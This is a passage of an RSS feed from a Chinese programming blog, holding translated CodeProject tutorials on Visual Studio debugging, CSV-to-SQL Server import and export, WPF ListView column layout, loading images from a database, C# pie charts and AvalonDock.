调试器不仅仅是一个分析程序崩溃或是异常结果的工具了，许多bug都可以通过步入新写的函数，检查函数是否如期望的那样运行来预防。有时候你可能会好奇“如果条件为真函数会正确运行吗”大多数情况下，根本不需要改变代码重启挑起，仅仅把鼠标悬停到一个变量上，双击值然后输入一个新值就可以了。。&lt;/p&gt;
&lt;p&gt;3．设置下一条语句
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27690_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/1c86cc15b16c98adc1563eb1660481fa249beaf0.png&#34; title=&#34;3&#34;&gt;&lt;/a&gt;
一个典型的调试情况就是通过单步跟踪分析为什么一个函数调用失败了。当你发现一个函数调用的另一个函数返回错误的时候你会怎么做？重启调试？有更好的方法。拖动这个黄色的语句标识到你想下一步执行的语句前就可以了。比如你刚才失败的那块，然后步入。简单，不是吗？&lt;/p&gt;
&lt;p&gt;4.编辑然后继续
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27682_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/8117d2025d49155485268fc1b56041e96cefaeac.png&#34; title=&#34;4&#34;&gt;&lt;/a&gt;
调试一个复杂的程序，或是一个插件的时候，在一个被调用很多次的函数处发现一个错误。但是不想浪费时间停下来，重新编译然后重新调试。没问题，仅仅在该处改正代码然后继续单步就可以。VS会修正程序然后继续调试不需要重启&lt;/p&gt;
&lt;p&gt;注意，编辑然后继续有大量的已知限制，首先，64位代码是不行的。如果他如果为你的C#程序工作。就去工程设置的生成选项，然后目标平台为x86.不要担心。发布版的目标平台和调试的时候是分开的。可以被设置为任何平台。。&lt;/p&gt;
&lt;p&gt;第二．编辑然后继续改变在一个方法里应该是局部的。。如果你改变了方法签名，添加一些新方法或是类。你就不得不重启程序了。或者撤销改变来继续。改变方法也包含lambda表达式隐式修改的自动生成的代理类，因此也不能继续。&lt;/p&gt;
&lt;p&gt;5.方便的监视窗口
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27683_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/a204da1e7bb82719b4a965da45d1cfcc51a90cd3.png&#34; title=&#34;5&#34;&gt;&lt;/a&gt;
大概现代的调试器都有一个监视窗口，无论如何。VS允许你简单的添加或移除变量。单击空行，输入你的表达式按下回车，或者是在不需要的表达式上按下Delete键就可以删除了。
而且。从监视窗口你不仅仅可以看到“正常”的变量。你可以输入$handles 来追踪你的程序打开了多少句柄（可以方便的修复内存泄漏） ，输入$err 可以看到上一个函数的错误码，然后使用工具-错误信息可以看到更详细的描述，或者输入@eax（64位是@rax）来查看包含函数返回值的寄存器。&lt;/p&gt;
&lt;p&gt;6.带注释的反汇编
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27684_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/d61b64ed0a189bec2f34f2faaf059916cce8e525.png&#34; title=&#34;6&#34;&gt;&lt;/a&gt;
使用交互式的反汇编模式可以使得优化程序的关键部分变得很容易，VS给出对应你代码每一行的汇编指令，并且运行单步运行。同时，可以在任何位置设置断点。而且，表达式的查看和修改也像在C++代码里一样&lt;/p&gt;
&lt;p&gt;7.带有栈的线程窗口
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27691_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/5b212033679007829bb5c0684d62ab8f27a0514b.png&#34; title=&#34;7&#34;&gt;&lt;/a&gt;
调试多线程的程序是痛苦的。。或者也可以是很有趣的。取决于你的调试器。VS2010真正优美的特性是线程窗口的栈视图，通过窗口的调用栈你可以方便的总览线程。&lt;/p&gt;
&lt;p&gt;8.条件断点
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27686_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/e93436bf72af22e533fe859971913a3d3c555789.png&#34; title=&#34;8&#34;&gt;&lt;/a&gt;
如果你尝试通过断点再现一个罕见的事件，该情况引发了一些严重的错误。你可以添加条件断点。定义一个断点的条件，然后如果条件不成立，VS会忽略该断点&lt;/p&gt;
&lt;p&gt;9.内存窗口
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27687_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/0cfda80c7dbe3d0c50bb5646155914b5e3f07f4f.png&#34; title=&#34;9&#34;&gt;&lt;/a&gt;
有些bug由不正确的结构体定义引起，忽略的对齐属性等等。查看内存中的内容可以定位然后修复bug。VS提供了一个放百年的内存窗口，可以把值以8/16/32/64位的形式展示。还有浮点值。也允许实时改变他们。就像在文本编辑器里一样。&lt;/p&gt;
&lt;p&gt;10.转到定义
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27688_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/3593aad0199fbed2f8faaef908e151a068e14d09.png&#34; title=&#34;10&#34;&gt;&lt;/a&gt;
这个特性不是直接关于调试的，而是关于浏览大项目的。如果你尝试找到一些不是你自己写的代码中的错误，快速知道“这个类型是什么”或者“这个函数是干嘛的”，可以节省很多时间，VS通过一个转到定义命令方便了你。&lt;/p&gt;
&lt;p&gt;11.命令窗口
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27689_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/2af5b37764b18abe3ae34c1a67e4398721fbd04b.png&#34; title=&#34;11&#34;&gt;&lt;/a&gt;
第十一的技巧&lt;a href=&#34;http://www.codeproject.com/script/Membership/View.aspx?mid=4917930&#34;&gt;chaau&lt;/a&gt;已经建议过了。确实可以节省很多时间，VS支持命令窗口，可以通过，视图-其他窗口-命令窗口来启动。一旦激活，你可以输入不同的命令来自动化调试。举个例子。你可以通过如下命令 简单的模拟MFC COleDateTime 变量。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;? dt.Format(&#34;%Y-%m-%d %H:%M:%S&#34;)&lt;/pre&gt;
&lt;p&gt;许可
本文包括源代码和文件在CPOL下授权。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;原文地址：&lt;a href=&#34;http://www.codeproject.com/Articles/359801/10plus-powerful-debugging-tricks-with-Visual-Studi&#34;&gt;10plus-powerful-debugging-tricks-with-Visual-Studi&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;著作权声明：本文由&lt;a href=&#34;http://leaver.me/&#34;&gt;http://leaver.me&lt;/a&gt; 翻译，欢迎转载分享。请尊重作者劳动，转载时保留该声明和作者博客链接，谢谢！&lt;/p&gt;</description>
    </item>
    <item>
      <title>CSV导入导出工具</title>
      <link>http://blog.leaver.me/2012/09/30/csv%E5%AF%BC%E5%85%A5%E5%AF%BC%E5%87%BA%E5%B7%A5%E5%85%B7/</link>
      <pubDate>Sun, 30 Sep 2012 22:33:19 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/30/csv%E5%AF%BC%E5%85%A5%E5%AF%BC%E5%87%BA%E5%B7%A5%E5%85%B7/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27639_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/650890bebf13c4d041d3113af4b40fb93a2cc0c5.png&#34; title=&#34;form1&#34;&gt;&lt;/a&gt;
&lt;strong&gt;介绍&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;本文介绍并且实现了在平面文件CSV和SQL server之间的导入导出功能。使用VS2005写的。使用了.net 2.0&lt;/p&gt;
&lt;p&gt;本文基于前一篇文章：&lt;a href=&#34;http://www.codeproject.com/KB/database/FinalCSVReader.aspx&#34;&gt;从CSV导入数据并存储到数据库&lt;/a&gt;，本文包含了新功能，比如，导出功能，在数据库创建表，批量拷贝。接下来的例子中有很多注释。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;导入&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;通过ODBC驱动连接到一个CSV文件，然后把文件读到一张表了（基于前面提到的那篇文章）
使用不同的编码和不同的行分隔符（基于前文）
加载CSV文件到DataSet（基于前文）
如何显示对CSV文件的预览（基于前文）
通过SqlBulkCopy的对象向SQL server转移数据，原始数据是DataSet实例&lt;/p&gt;
&lt;p&gt;使用结构表，基于CSV文件，创建一个新表
使用事件来处理批量拷贝的进程
&lt;strong&gt;导出&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;浏览SQL 数据库中的用户表
使用不同的编码和分隔符
使用SqlDataReader读取数据，使用StreamWriter转移数据到平面文件&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27640_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/b131fd0af27287ab9270df33d1a313ab957dfb12.png&#34; title=&#34;form2&#34;&gt;&lt;/a&gt;
使用&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;下载工程&lt;/li&gt;
&lt;li&gt;新建一个数据库，或者使用一个存在的数据库&lt;/li&gt;
&lt;li&gt;修改软件中的数据库连接字符串，在prop.cs文件中&lt;/li&gt;
&lt;/ol&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;public static string sqlConnString = &#34;server=(local);
	database=Test_CSV_impex;Trusted_Connection=True&#34;;&lt;/pre&gt; 
&lt;ol start=&#34;4&#34;&gt;
&lt;li&gt;运行工程&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;一些代码段&lt;/strong&gt;
加载CSV到DataSet中&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;
/*
 *加载CSV到DataSet.
 * 
 * 如果numberOfRows parameter 是 -1, 就加载所有行, 否则就加载指定数目的行
 */

public DataSet LoadCSV(int numberOfRows)
{
	DataSet ds = new DataSet();
	try
	{
		// 创建并打开ODBC连接
		string strConnString = &#34;Driver={Microsoft Text Driver (*.txt; *.csv)};
			Dbq=&#34; + this.dirCSV.Trim() + &#34;;
			Extensions=asc,csv,tab,txt;Persist Security Info=False&#34;;
		string sql_select;
		OdbcConnection conn;
		conn = new OdbcConnection(strConnString.Trim());
		conn.Open();

		//创建SQL语句
		if (numberOfRows == -1)
		{
			sql_select = &#34;select * from [&#34; + 
					this.FileNevCSV.Trim() + &#34;]&#34;;
		}
		else
		{
			sql_select = &#34;select top &#34; + numberOfRows + 
				&#34; * from [&#34; + this.FileNevCSV.Trim() + &#34;]&#34;;
		}

		//创建数据适配器 
		OdbcDataAdapter obj_oledb_da = new OdbcDataAdapter(sql_select, conn);

		//用CSV的数据填充DataSet
		obj_oledb_da.Fill(ds, &#34;csv&#34;);

		//关闭连接
		conn.Close();
	}
	catch (Exception e) //异常处理
	{
		MessageBox.Show(e.Message, &#34;Error - LoadCSV&#34;,
				MessageBoxButtons.OK,MessageBoxIcon.Error);
	}
	return ds;
}&lt;/pre&gt;
&lt;p&gt;通过SqlBulkCopy从ODBC连接中转移数据到数据库&lt;/p&gt;</description>
    </item>
    <item>
      <title>ListView布局管理器</title>
      <link>http://blog.leaver.me/2012/09/29/listview%E5%B8%83%E5%B1%80%E7%AE%A1%E7%90%86%E5%99%A8/</link>
      <pubDate>Sat, 29 Sep 2012 10:14:54 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/29/listview%E5%B8%83%E5%B1%80%E7%AE%A1%E7%90%86%E5%99%A8/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27575_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/3908a54221845d3b8f0b2ad7c3c0b559dae7a979.jpg&#34; title=&#34;listview&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&#34;介绍&#34;&gt;介绍&lt;/h3&gt;
&lt;p&gt;使用ListViewLayoutManager  可以控制ListView/GridView列的布局&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;固定列宽：有着固定列宽的列&lt;/li&gt;
&lt;li&gt;范围列宽：有着最小最大宽度的列&lt;/li&gt;
&lt;li&gt;比例列宽：成比例的列宽&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;范围列宽可以限制列的宽度，也包括填充列的剩余可视区域。&lt;/p&gt;
&lt;p&gt;据我们了解的Html中的表格和Grid空间。比例列以一个百分比来定义列宽，以下几个因素共同确定了比例列的宽度。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;垂直ListView滚动条的可视与否&lt;/li&gt;
&lt;li&gt;ListView控件宽度的改变&lt;/li&gt;
&lt;li&gt;非比例列宽度的改变&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;本程序支持通过XAML或是后台代码来控制ListView。如果通过XAML来控制。则允许ListViewLayoutManager 被附加到一个存在的ListView控件上。&lt;/p&gt;
&lt;p&gt;ConverterGridColumn 类通过接口IValueConverter 提供了对象绑定。使用ImageGridViewColumn 类则允许通过DataTemplate（数据模板）将列显示成图片等。&lt;/p&gt;
&lt;p&gt;在 &lt;a href=&#34;http://www.codeproject.com/Articles/25829/User-Settings-Applied&#34;&gt;User Setting Applied&lt;/a&gt;中，我展示了如何固定ListViewlieder顺序和大小&lt;/p&gt;
&lt;h3 id=&#34;xaml中listviewgridview布局&#34;&gt;XAML中ListView/GridView布局&lt;/h3&gt;
&lt;p&gt;固定列
下面的例子展示了通过XAML使用固定列宽控制列&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;&amp;lt;ListView
    Name=&#34;MyListView&#34;
    ctrl:ListViewLayoutManager.Enabled=&#34;true&#34;&amp;gt;

    &amp;lt;ListView.View&amp;gt;
      &amp;lt;GridView&amp;gt;
        &amp;lt;GridViewColumn
          DisplayMemberBinding=&#34;{Binding Path=Name}&#34;

          ctrl:FixedColumn.Width=&#34;100&#34;
          Header=&#34;Name&#34; /&amp;gt;

        &amp;lt;GridViewColumn
          DisplayMemberBinding=&#34;{Binding Path=City}&#34;
          ctrl:FixedColumn.Width=&#34;300&#34;

          Header=&#34;City&#34; /&amp;gt;
      &amp;lt;/GridView&amp;gt;

    &amp;lt;/ListView.View&amp;gt;
  &amp;lt;/ListView&amp;gt;
&lt;/pre&gt; 
&lt;p&gt;设置附加到ListView控件上的ListViewLayoutManager 的Enabled属性为True。然后FixedColumn.Width 就会阻止鼠标拖动改变列的宽度。&lt;/p&gt;
&lt;p&gt;比例列&lt;/p&gt;
&lt;p&gt;下面的例子展示了使用XAML通过比例来控制列&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;&lt;ListView
    Name=&#34;MyListView&#34;
    ctrl:ListViewLayoutManager.Enabled=&#34;true&#34;&gt;
    &lt;ListView.View&gt;

      &lt;GridView&gt;

        &lt;GridViewColumn
          DisplayMemberBinding=&#34;{Binding Path=Name}&#34;
          ctrl:ProportionalColumn.Width=&#34;1&#34;

          Header=&#34;Name&#34; /&gt;

        &lt;GridViewColumn
          DisplayMemberBinding=&#34;{Binding Path=City}&#34;

          ctrl:ProportionalColumn.Width=&#34;3&#34;
          Header=&#34;City&#34; /&gt;
      &lt;/GridView&gt;

    &lt;/ListView.View&gt;

  &lt;/ListView&gt;&lt;/pre&gt;
&lt;p&gt;对比Grid控件的RowDefinition.Width 属性，ProportionalColumn.Width会计算百分比。简单来说，就是上面的例子中Name列会占到总宽度的25%，而City列占到75%。
与固定列相似。鼠标将不能改变列的宽度。&lt;/p&gt;
&lt;p&gt;范围列&lt;/p&gt;
&lt;p&gt;下面的例子展示了使用XAML通过最小/最小宽度来控制列&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;
&lt;ListView
    Name=&#34;MyListView&#34;
    ctrl:ListViewLayoutManager.Enabled=&#34;true&#34;&gt;
    &lt;ListView.View&gt;

      &lt;GridView&gt;

        &lt;GridViewColumn
          DisplayMemberBinding=&#34;{Binding Path=Name}&#34;
          ctrl:RangeColumn.MinWidth=&#34;100&#34;
          Width=&#34;150&#34;

          Header=&#34;Name&#34; /&gt;

        &lt;GridViewColumn
          DisplayMemberBinding=&#34;{Binding Path=City}&#34;
          ctrl:RangeColumn.MaxWidth=&#34;200&#34;
          Width=&#34;150&#34;

          Header=&#34;City&#34; /&gt;

        &lt;GridViewColumn
          DisplayMemberBinding=&#34;{Binding Path=Country}&#34;
          Width=&#34;100&#34;
          ctrl:RangeColumn.MinWidth=&#34;50&#34;

          ctrl:RangeColumn.MaxWidth=&#34;150&#34;
          Header=&#34;Country&#34; /&gt;

        &lt;GridViewColumn
          DisplayMemberBinding=&#34;{Binding Path=State}&#34;
          Width=&#34;100&#34;

          ctrl:RangeColumn.MinWidth=&#34;100&#34;
          ctrl:RangeColumn.IsFillColumn=&#34;true&#34;
          Header=&#34;Country&#34; /&gt;

      &lt;/GridView&gt;

    &lt;/ListView.View&gt;
  &lt;/ListView&gt;&lt;/pre&gt;
&lt;p&gt;第一个范围列的IsFillColumn 属性被设置为True，因此将会自动改变大小来填满剩余的空间，而如果ListView包含一个比例列的话，范围列将不会填充&lt;/p&gt;
&lt;p&gt;通过鼠标可以拖动范围列的宽度。鼠标指针会有一些提示。。&lt;/p&gt;
&lt;p&gt;组合使用&lt;/p&gt;
&lt;p&gt;在真实的世界里。组合使用很普遍。他们的顺序可以多种多样。&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;
&lt;ListView
    Name=&#34;MyListView&#34;
    ctrl:ListViewLayoutManager.Enabled=&#34;true&#34;&gt;

    &lt;ListView.View&gt;
      &lt;GridView&gt;

        &lt;GridViewColumn
          DisplayMemberBinding=&#34;{Binding Path=State}&#34;
          ctrl:FixedColumn.Width=&#34;25&#34;
          Header=&#34;Name&#34; /&gt;

        &lt;GridViewColumn
          DisplayMemberBinding=&#34;{Binding Path=Name}&#34;

          Width=&#34;150&#34;
          ctrl:RangeColumn.MinWidth=&#34;100&#34;
          ctrl:RangeColumn.MaxWidth=&#34;200&#34;

          Header=&#34;City&#34; /&gt;

        &lt;GridViewColumn
          DisplayMemberBinding=&#34;{Binding Path=City}&#34;
          ctrl:ProportionalColumn.Width=&#34;1&#34;
          Header=&#34;Zip&#34; /&gt;

        &lt;GridViewColumn
          DisplayMemberBinding=&#34;{Binding Path=Country}&#34;

          ctrl:ProportionalColumn.Width=&#34;2&#34;
          Header=&#34;Country&#34; /&gt;
      &lt;/GridView&gt;

    &lt;/ListView.View&gt;
  &lt;/ListView&gt;&lt;/pre&gt;
&lt;h3 id=&#34;使用后台代码控制listviewgridview布局&#34;&gt;使用后台代码控制ListView/GridView布局&lt;/h3&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;
ListView listView = new ListView();
 new ListViewLayoutManager( listView ); // attach the layout manager

 GridView gridView = new GridView();
 gridView.Columns.Add( FixedColumn.ApplyWidth( new MyGridViewColumn( &#34;State&#34; ), 25 ) );
 gridView.Columns.Add( RangeColumn.ApplyWidth( new MyGridViewColumn( &#34;Name&#34; ), 100,
     150, 200 ) ); // 100...200
 gridView.Columns.Add( ProportionalColumn.ApplyWidth( new MyGridViewColumn( &#34;City&#34; ),
     1 ) ); // 33%
 gridView.Columns.Add( ProportionalColumn.ApplyWidth( new MyGridViewColumn(
     &#34;Country&#34; ), 2 ) ); // 66%

 listView.View = gridView;
&lt;/pre&gt;
&lt;h3 id=&#34;定制列的效果&#34;&gt;定制列的效果&lt;/h3&gt;
&lt;p&gt;类ConverterGridColumn 作为一个基类，用来绑定列到独立的对象。&lt;/p&gt;</description>
    </item>
    <item>
      <title>从数据库读取图片发生“无效的参数”异常</title>
      <link>http://blog.leaver.me/2012/09/27/%E4%BB%8E%E6%95%B0%E6%8D%AE%E5%BA%93%E8%AF%BB%E5%8F%96%E5%9B%BE%E7%89%87%E5%8F%91%E7%94%9F%E6%97%A0%E6%95%88%E7%9A%84%E5%8F%82%E6%95%B0%E5%BC%82%E5%B8%B8/</link>
      <pubDate>Thu, 27 Sep 2012 19:47:39 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/27/%E4%BB%8E%E6%95%B0%E6%8D%AE%E5%BA%93%E8%AF%BB%E5%8F%96%E5%9B%BE%E7%89%87%E5%8F%91%E7%94%9F%E6%97%A0%E6%95%88%E7%9A%84%E5%8F%82%E6%95%B0%E5%BC%82%E5%B8%B8/</guid>
      <description>&lt;h3 id=&#34;介绍&#34;&gt;介绍&lt;/h3&gt;
&lt;p&gt;我发现对于很多人来说，当从数据库里载入一张图片然后重新创建成一张图片显示的话会有这样一个问题&amp;mdash;-当他们尝试重新创建新的图片的时候，会抛出一个“无效的参数”异常&lt;/p&gt;
&lt;p&gt;因此，本文介绍该异常如何产生。并且我希望未来当我或是你发生这个错误的时候还能有所帮助。。&lt;/p&gt;
&lt;h3 id=&#34;背景&#34;&gt;背景&lt;/h3&gt;
&lt;p&gt;存储图片到数据库里面是一个很有效的想法。很多人在一些场合都会这样做。的确，这是一个很好的想法。在图片很小的情况下，或者图片不是太多。在这两种情况下，当你需要图片的时候，你会实时去加载它们。而当你不需要的时候如果从数据库里加载图片会浪费很多带宽。并使得你的程序有一些慢。&lt;/p&gt;
&lt;p&gt;但问题是这种方法也很容易发生错误。&amp;ndash;尤其是你使用字符串连接，然后组合到你的SQL语句里面—并且这个错误只有当你打算使用存储的信息的时候才会发生。然后，看起来似乎是你的读取代码写错了&amp;mdash;不可能—它是正常的。我在其他地方都可以的。。&lt;/p&gt;
&lt;h3 id=&#34;从数据库里加载图片&#34;&gt;从数据库里加载图片&lt;/h3&gt;
&lt;p&gt;重数据库里读取一张图片然后转换成图片显示是很简单的。&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true&#34;&gt;using (SqlConnection con = DBAccess.DBCon)
                        {
                        using (SqlCommand cmd = new SqlCommand(&#34;SELECT picture FROM Pictures WHERE Id=@ID&#34;, con))
                            {
                            cmd.Parameters.AddWithValue(&#34;@ID&#34;, Id);
                            SqlDataReader reader = cmd.ExecuteReader();
                            if (reader.Read())
                                {
                                byte[] data = (byte[])reader[&#34;Picture&#34;];
                                using (MemoryStream stream = new MemoryStream(bytes))
                                    {
                                    myImage = new Bitmap(stream);
                                    }
                                }
                            }
                        }&lt;/pre&gt;
&lt;p&gt;但是-如果data因为一些原因不是有效的图片，那么这一行&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true&#34;&gt;myImage = new Bitmap(stream);&lt;/pre&gt;
&lt;p&gt;将会抛出一个异常—无效的参数&lt;/p&gt;
&lt;p&gt;只有当你真正看了从数据库里返回到data里的数据-而不是简单的瞄了一眼调试器，你才能注意到是什么原因。。&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true&#34;&gt;{byte[21]}
[0] 83
[1] 121
[2] 115
[3] 116
[4] 101
[5] 109
[6] 46
[7] 68
[8] 114
[9] 97
[10] 119
[11] 105
[12] 110
[13] 103
[14] 46
...&lt;/pre&gt;
&lt;p&gt;它看起来不像是错的，所以它可能就是你想要的。-虽然21字节是一个很大的线索：你的图片可能只有21字节长？那图片可真小。。&lt;/p&gt;
&lt;p&gt;但是，上面的是可以读懂的。。稍微练习一下。。每个字节是一个ASCII码。。&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true&#34;&gt;&#34;83&#34; is an uppercase &#39;S&#39;
&#34;121&#34; is an lowercase &#39;y&#39;
&#34;115&#34; is an lowercase &#39;s&#39;
&#34;116&#34; is an lowercase &#39;t&#39;
&#34;101&#34; is an lowercase &#39;e&#39;
&#34;109&#34; is an lowercase &#39;m&#39;
&#34;46&#34; is a &#39;.&#39;
&#34;68&#34; is an uppercase &#39;D&#39;
&#34;114&#34; is an lowercase &#39;r&#39;
&#34;97&#34; is an lowercase &#39;a&#39;
&#34;119&#34; is an lowercase &#39;w&#39;
&#34;105&#34; is an lowercase &#39;i&#39;
&#34;110&#34; is an lowercase &#39;n&#39;
&#34;103&#34; is an lowercase &#39;g&#39;
&#34;46&#34; is an lowercase &#39;.&#39;
...&lt;/pre&gt;
&lt;p&gt;简而言之，你从数据库里得到的数据是一个人类可以读懂的字符串，意思是是&lt;/p&gt;</description>
    </item>
    <item>
      <title>C#使用Graphics创建饼图</title>
      <link>http://blog.leaver.me/2012/09/27/c%23%E4%BD%BF%E7%94%A8graphics%E5%88%9B%E5%BB%BA%E9%A5%BC%E5%9B%BE/</link>
      <pubDate>Thu, 27 Sep 2012 13:47:25 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/27/c%23%E4%BD%BF%E7%94%A8graphics%E5%88%9B%E5%BB%BA%E9%A5%BC%E5%9B%BE/</guid>
      <description>&lt;h3 id=&#34;介绍&#34;&gt;介绍&lt;/h3&gt;
&lt;p&gt;这个程序是使用C#中的Graphics来创建一个饼图的，我已经尽我所能写的很好了。如果你有任何建议可以分享给我，这样我也能从中学习。&lt;/p&gt;
&lt;h3 id=&#34;使用代码&#34;&gt;使用代码&lt;/h3&gt;
&lt;p&gt;最近我迷上了Graphics类。我仅仅体验了一下Graphics的DrawPie() 和FillPie() 方法。&lt;/p&gt;
&lt;p&gt;最为一个简单的Demo，我创建一个有着五个文本框的窗体，一个按钮，一个图片框。一会我就把饼图画在图片框里&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27557_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/f3681994ca4fce2b724886db9d7a958d854c8e39.png&#34; title=&#34;client&#34;&gt;&lt;/a&gt;
在创建一个饼图之前，我们头脑里要有这个意识。我们不能创建一个不符合常规的圆，创建圆我们需要度数信息。&lt;/p&gt;
&lt;p&gt;为了转换度数。我们首先把给定的值做个求和。然后得出文本框里所有值的和。然后呢。用每个值除以总值再乘以360度。
代码如下：&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;int i1 = Int32.Parse(textBox1.Text);
int i2 = Int32.Parse(textBox2.Text);
int i3 = Int32.Parse(textBox3.Text);
int i4 = Int32.Parse(textBox4.Text);
int i5 = Int32.Parse(textBox5.Text);

float total = i1 + i2 + i3 + i4 + i5 ;

float deg1 = (i1 / total) * 360;
float deg2 = (i2 / total) * 360;
float deg3 = (i3 / total) * 360;
float deg4 = (i4 / total) * 360;
float deg5 = (i5 / total) * 360;&lt;/pre&gt;
&lt;p&gt;值转换完毕后。我们可以创建Graphics类的实例了。&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;Graphics graphics = pictureBox1.CreateGraphics();  &lt;/pre&gt;
&lt;p&gt;然后我们需要创建一个矩形区域，在这个矩形区域里绘制饼图。&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;Rectangle rect = new Rectangle(0, 0, 150, 150);&lt;/pre&gt;
&lt;p&gt;前两个参数定义了矩形左上角的坐标，后两个分别定义了举行的宽和高。&lt;/p&gt;
&lt;p&gt;为了能够比较清晰的看出饼图各部分的比例。我们需要创建五个笔刷。&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;Brush brush1 = new SolidBrush(Color.Red);
Brush brush2 = new SolidBrush(Color.Blue);
Brush brush3 = new SolidBrush(Color.Maroon);
Brush brush4 = new SolidBrush(Color.Navy);
Brush brush5 = new SolidBrush(Color.YellowGreen);
graphics.Clear(pictureBox1.BackColor);&lt;/pre&gt;
&lt;p&gt;现在我们可以开始创建我们的饼图了。graphics.FillPie();方法接受四个参数&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;笔刷，用来填充扇形&lt;/li&gt;
&lt;li&gt;矩形：饼图将被创建的区域。&lt;/li&gt;
&lt;li&gt;开始角度：饼部分的开始角度&lt;/li&gt;
&lt;li&gt;覆盖角度：饼部分扫过的角度&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;一般来说graphics.FillPie();方法并不是创建一个完全的饼图，而是创建饼图的一个扇形部分，我们会创建一系列的扇形最终看起来像是一个饼图。&lt;/p&gt;</description>
    </item>
    <item>
      <title>AvalonDock 2.0入门指南第一部分</title>
      <link>http://blog.leaver.me/2012/09/26/avalondock-2.0%E5%85%A5%E9%97%A8%E6%8C%87%E5%8D%97%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86/</link>
      <pubDate>Wed, 26 Sep 2012 16:38:26 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/26/avalondock-2.0%E5%85%A5%E9%97%A8%E6%8C%87%E5%8D%97%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;http://avalondock.codeplex.com&#34;&gt;AvalonDock&lt;/a&gt; 2.0可以用来为WPF创建一个类似Visual Studio的界面，深入理解如何使用AvalonDock进行开发是很重要的。&lt;/p&gt;
&lt;p&gt;在这个入门指南里，我将演示如何开始使用AvalonDock，下面的文章都是基于2.0版本的。并且不能用于早期的版本。&lt;/p&gt;
&lt;p&gt;AvalonDock是一个组合的布局模型，很多的控件都在视图上显示，一个DockingManager 类也显示在停靠区，用于可以拖拽文档和工具。&lt;/p&gt;
&lt;p&gt;从下面这个截图中我们可以理解AvalonDock组件&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27544_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/38cf4425c7a05bde89671d9f06c99e6626985373.png&#34; title=&#34;ADTutorial&#34;&gt;&lt;/a&gt;
